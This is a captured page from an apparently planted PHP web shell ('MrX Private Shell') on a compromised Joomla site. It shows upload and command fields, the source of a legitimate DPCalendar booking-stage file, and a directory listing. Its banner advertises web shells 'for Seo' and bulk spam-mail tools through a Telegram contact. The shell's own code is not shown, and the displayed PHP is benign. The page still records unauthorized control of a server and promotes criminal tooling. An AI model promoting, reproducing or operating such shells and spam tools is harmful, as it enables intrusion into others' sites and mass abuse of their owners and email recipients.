__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   DPCalendar
 * @copyright Copyright (C) 2018 Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

namespace DigitalPeak\Component\DPCalendar\Administrator\Booking\Stages;

\defined('_JEXEC') or die();

use DigitalPeak\Component\DPCalendar\Administrator\Helper\Booking;
use DigitalPeak\Component\DPCalendar\Administrator\Model\BookingModel;
use DigitalPeak\Component\DPCalendar\Administrator\Model\CouponModel;
use DigitalPeak\Component\DPCalendar\Administrator\Pipeline\StageInterface;
use Joomla\CMS\Application\CMSApplicationInterface;
use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\User\User;

class SetupForUpdate implements StageInterface
{
	public function __construct(
		private readonly CMSApplicationInterface $application,
		private readonly User $user,
		private readonly BookingModel $bookingModel,
		private readonly CouponModel $couponModel
	) {
	}

	public function __invoke(\stdClass $payload): \stdClass
	{
		// Unset some variables, that it can't be changed afterwards through some form hacking
		if ($this->application instanceof SiteApplication && !$this->user->authorise('dpcalendar.admin.book', 'com_dpcalendar')) {
			unset($payload->data['price']);
		}

		if (!\array_key_exists('coupon_id', $payload->data)) {
			$payload->data['coupon_id'] = 0;
		}

		$couponId = is_numeric($payload->data['coupon_id']) ? $payload->data['coupon_id'] : ['code' => $payload->data['coupon_id']];
		if (!empty($payload->data['coupon_id']) && $coupon = $this->couponModel->getItem($couponId)) {
			$payload->data['coupon_id'] = $coupon->id;
		} else {
			$payload->data['coupon_id'] = 0;
		}

		if (!empty($payload->data['state']) && $payload->data['state'] == 6 && $payload->data['id']) {
			$booking = $this->bookingModel->getItem($payload->data['id']);
			if (!$booking || !Booking::openForCancel($booking)) {
				throw new \Exception('Booking can not be cancelled');
			}
		}

		return $payload;
	}
}

Filemanager

Name Type Size Permission Actions
AdjustCustomFields.php File 1.06 KB 0664
AssignUserGroups.php File 1.21 KB 0664
CollectEventsAndTickets.php File 2.99 KB 0664
CreateOrUpdateTickets.php File 4.59 KB 0664
CreateUser.php File 2.19 KB 0664
FetchLocationData.php File 1.52 KB 0664
SendInviteMail.php File 2.51 KB 0664
SendNewBookingMail.php File 4.75 KB 0664
SendNotificationMail.php File 3.43 KB 0664
SendPaidBookingMail.php File 3.38 KB 0664
SendWaitingListMail.php File 3.09 KB 0664
SetupForMail.php File 3.27 KB 0664
SetupForNew.php File 15.99 KB 0664
SetupForUpdate.php File 1.96 KB 0664
SetupLanguage.php File 1.51 KB 0664
Filemanager